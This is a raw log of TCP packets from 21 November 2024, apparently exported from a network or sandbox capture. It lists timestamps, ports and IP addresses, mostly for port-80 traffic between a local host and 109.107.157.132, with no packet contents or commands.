Nov 21, 2024 22:33:18.584362984 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.584470987 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.584522963 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.590150118 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.590323925 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.590399981 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.671272039 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.671350002 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.671452045 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.671510935 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.673645973 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.673706055 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.673923969 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.673984051 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.678251028 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.678308964 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.693897009 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.693969965 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.694013119 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.694098949 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.695980072 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:18.696038961 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:18.937572002 CET	49753	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:33:18.983328104 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:19.566575050 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:19.566587925 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:19.566665888 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:19.656836987 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:19.656924963 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:20.067115068 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:20.067138910 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:20.067145109 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:20.067210913 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:20.067240953 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:20.067286015 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:20.067364931 CET	49753	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:33:20.067365885 CET	49753	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:33:20.067431927 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:20.067496061 CET	49753	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:33:20.067497015 CET	49753	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:33:20.088819027 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:20.088922024 CET	49753	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:33:20.088949919 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:20.089040041 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:20.089098930 CET	49753	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:33:20.745321989 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:20.745354891 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:20.745408058 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:20.745409012 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:20.823753119 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:20.823780060 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:20.823841095 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:20.823841095 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:20.824687958 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:20.824743032 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:20.824762106 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:20.824806929 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:20.901838064 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:20.901901960 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:20.902005911 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:20.902081013 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:20.903696060 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:20.903749943 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:20.980159998 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:20.980247974 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:20.980370045 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:20.980427027 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:20.981987000 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:20.982043982 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.058387995 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.058463097 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.058536053 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.058584929 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.060317993 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.060374975 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.060383081 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.060425043 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.064099073 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.064158916 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.136560917 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.136656046 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.136706114 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.136749983 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.138469934 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.138521910 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.138617992 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.138665915 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.142302990 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.142364979 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.214905977 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.215013027 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.215059996 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.215106010 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.216787100 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.216844082 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.217438936 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.217498064 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.217551947 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.217602015 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.221308947 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.221364975 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.293164968 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.293180943 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.293224096 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.293263912 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.294217110 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.294269085 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.294270992 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.294312954 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.296485901 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.296535015 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.296623945 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.296679974 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.300328970 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.300381899 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.350758076 CET	49753	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:33:21.350807905 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:21.350857019 CET	49753	443	192.168.2.4	52.149.20.212
Nov 21, 2024 22:33:21.350881100 CET	443	49753	52.149.20.212	192.168.2.4
Nov 21, 2024 22:33:21.372473001 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.372531891 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.372590065 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.372649908 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.374341965 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.374397993 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.374439955 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.374499083 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.378196001 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.378268957 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.378272057 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.378324032 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.382040024 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.382098913 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:21.382205963 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:21.382251024 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:22.086311102 CET	49723	80	192.168.2.4	199.232.214.172
Nov 21, 2024 22:33:22.206455946 CET	80	49723	199.232.214.172	192.168.2.4
Nov 21, 2024 22:33:22.206600904 CET	49723	80	192.168.2.4	199.232.214.172
Nov 21, 2024 22:33:23.991770029 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:23.991786003 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:23.991859913 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:23.991859913 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.146716118 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.146738052 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.146778107 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.146815062 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.148485899 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.148533106 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.264663935 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.264679909 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.264790058 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.265665054 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.265718937 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.265786886 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.265829086 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.267980099 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.268038034 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.268141031 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.268188000 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.271806002 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.271863937 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.374165058 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.374285936 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.374432087 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.374476910 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.376044035 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.376101971 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.376730919 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.376785994 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.376822948 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.376863956 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.380537987 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.380590916 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.452452898 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.452521086 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.452728987 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.452802896 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.453728914 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.453777075 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.453871012 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.453910112 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.457478046 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.457530022 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.457575083 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.457773924 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.461349010 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.461415052 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.461709023 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.461755037 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.530635118 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.530688047 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.530714035 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.530760050 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.531729937 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.531780958 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.531833887 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.531884909 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.535615921 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.535670996 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.535753012 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.535794020 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.539478064 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.539536953 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.539560080 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.539603949 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.608988047 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.609044075 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.609049082 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.609086990 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.610035896 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.610176086 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.610177040 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.610218048 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.613944054 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.614094973 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.614154100 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.617775917 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.617804050 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.617862940 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.687298059 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.687357903 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.687412024 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.687733889 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.688232899 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.688338041 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.688355923 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.688504934 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.692147970 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.692200899 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.692240953 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.692367077 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.695947886 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.696003914 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.696099043 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.696145058 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.765451908 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.765578985 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.765626907 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.765747070 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.767302036 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.767379999 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.767400980 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.767448902 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.770283937 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.770335913 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.770432949 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.770478010 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.774115086 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.774177074 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.774187088 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.774260044 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.777929068 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.777976036 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.809825897 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.809915066 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.844161034 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.844197989 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.844291925 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.845309019 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.845336914 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.845365047 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.845393896 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.848951101 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.849009991 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.849087000 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.849159956 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.852770090 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.852830887 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.852835894 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.852943897 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.856610060 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.856674910 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.856714964 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.856774092 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:24.860363960 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:24.860507965 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:25.221136093 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:25.221153975 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:25.221251011 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:25.299328089 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:25.299468994 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:25.299597025 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:25.301172972 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:25.301605940 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:25.993771076 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:25.993865967 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:25.993896008 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:25.993958950 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.071671009 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.071727037 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.071897984 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.071897984 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.073527098 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.073576927 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.149878025 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.149966955 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.150058985 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.150059938 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.150911093 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.150963068 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.151007891 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.151050091 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.154810905 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.154898882 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.154917955 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.154953957 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.158624887 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.158684015 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.268030882 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.268098116 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.268214941 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.268258095 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.269901991 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.269953012 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.270570993 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.270690918 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.270721912 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.270746946 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.274369001 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.274446964 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.646289110 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.646387100 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.646384954 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.646447897 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.724674940 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.724780083 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.724843979 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.724898100 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.726495981 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.726552010 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.803045034 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.803086042 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.803138971 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.803138971 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.804847956 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.804877043 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.805025101 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.881819010 CET	80	49751	109.107.157.132	192.168.2.4
Nov 21, 2024 22:33:26.881887913 CET	49751	80	192.168.2.4	109.107.157.132
Nov 21, 2024 22:33:26.881895065 CET	80	49751	109.107.157.132	192.168.2.4
